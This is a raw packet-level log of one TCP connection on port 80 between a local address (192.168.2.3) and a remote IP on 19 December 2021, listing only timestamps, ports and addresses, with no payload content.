Dec 19, 2021 21:13:24.598608017 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.598623037 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.598649025 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.598654032 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.598690987 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.598730087 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.598741055 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.598757029 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.598769903 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.598776102 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.598810911 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.598824024 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.598849058 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.598864079 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.598890066 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.598928928 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.598942995 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.598956108 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.598970890 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.598978996 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.599013090 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.599049091 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.599061966 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.599077940 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.599088907 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.599096060 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.599128962 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.599167109 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.599179029 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.599195957 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.599205971 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.599212885 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.599245071 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.599282980 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.599298000 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.599325895 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.599364042 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.599379063 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.599392891 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.599404097 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.599417925 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.599445105 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.599459887 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.599483967 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.599523067 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.599538088 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.599550962 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.599561930 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.599565029 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.599601984 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.599617958 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.599642992 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.599651098 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.599682093 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.599699974 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.599721909 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.599730968 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.599764109 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.599791050 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.599801064 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.599813938 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.599841118 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.599852085 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.599879980 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.599915028 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.599920034 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.599926949 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.599961042 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.599993944 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.600001097 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.600016117 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.600043058 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.600048065 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.600083113 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.600119114 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.600132942 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.600158930 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.600167036 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.600198030 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.600205898 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.600235939 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.600243092 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.600276947 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.600313902 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.600328922 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.600336075 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.600352049 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.600392103 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.600414991 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.600428104 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.600461960 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.600466967 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.600474119 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.600506067 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.600512981 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.600543976 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.600564003 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.600584984 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.600601912 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.600622892 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.600641012 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.600661993 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.600670099 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.600702047 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.600716114 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.600739002 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.600765944 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.600776911 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.600811005 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.600815058 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.600843906 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.600878000 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.600893974 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.600919962 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.600935936 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.600961924 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.600965977 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.600999117 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.601038933 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.601042986 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.601051092 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.601075888 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.601114035 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.601114035 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.601133108 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.601154089 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.601186991 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.601191998 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.601222038 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.601232052 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.601241112 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.601273060 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.601301908 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.601341963 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.601344109 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.601377010 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.601382971 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.601422071 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.601453066 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.601460934 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.601463079 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.601469994 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.601499081 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.601515055 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.601524115 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.601536036 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.601537943 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.601583958 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.601619959 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.601658106 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.601663113 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.601670980 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.601687908 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.601696014 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.601728916 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.601733923 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.601747990 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.601773977 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.601804972 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.601811886 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.601818085 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.601850986 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.601866961 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.601888895 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.601905107 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.601927042 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.601931095 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.601964951 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.601991892 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.602003098 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.602030039 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.602044106 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.602051973 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.602083921 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.602108955 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.602123022 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.602144957 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.602161884 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.602175951 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.602200985 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.602210045 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.602238894 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.602246046 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.602277994 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.602291107 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.602315903 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.602329969 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.602360010 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.602406025 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.602411032 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.602442980 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.602459908 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.602483988 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.602507114 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.602523088 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.602536917 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.602567911 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.620918036 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.620980024 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.621006966 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.621018887 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.621059895 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.621073961 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.621092081 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.621100903 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.621110916 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.621140957 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.621154070 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.621181011 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.621181965 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.621222019 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.621227980 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.621262074 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.621299982 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.621301889 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.621308088 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.621341944 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.621356010 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.621381998 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.621400118 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.621426105 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.621464968 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.621473074 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.621481895 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.621505022 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.621520996 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.621546984 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.621556044 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.621587038 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.621592045 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.621628046 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.621635914 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.621666908 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.621706963 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.621721029 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.621747017 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.621747017 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.621786118 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.621800900 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.621825933 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.621840000 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.621866941 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.621874094 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.621906996 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.621944904 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.621948957 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.621952057 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.621988058 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.621997118 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.622034073 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.622067928 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.622072935 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.622081041 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.622112036 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.622126102 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.622153997 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.622168064 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.622194052 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.622210979 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.622232914 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.622258902 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.622273922 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.622277975 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.622313023 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.622319937 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.622353077 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.622363091 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.622404099 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.622411966 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.622442961 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.622452021 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.622483015 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.622523069 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.622534037 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.622581005 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.622595072 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.622618914 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.622622013 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.622659922 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.622673035 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.622699022 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.622737885 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.622739077 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.622778893 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.622802973 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.622811079 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.622850895 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.622889042 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.622920990 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.622927904 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.622967005 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.622982979 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.623006105 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.623032093 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.623044014 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.623049974 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.623081923 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.623092890 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.623121977 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.623159885 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.623168945 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.623198986 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.623217106 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.623239040 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.623241901 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.623276949 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.623316050 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.623321056 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.623348951 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.623387098 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.623394012 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.623414993 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.623425961 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.623430967 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.623465061 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.623466015 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.623477936 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.623506069 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.623506069 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.623544931 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.623581886 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.623590946 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.623620987 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.623658895 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.623666048 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.623696089 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.623728991 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.623737097 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.623752117 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.623775959 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.623806953 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.623816013 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.623831034 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.623939991 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.626458883 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.626502991 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.626519918 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.626540899 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.626576900 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.626581907 CET	80	49789	185.29.11.112	192.168.2.3
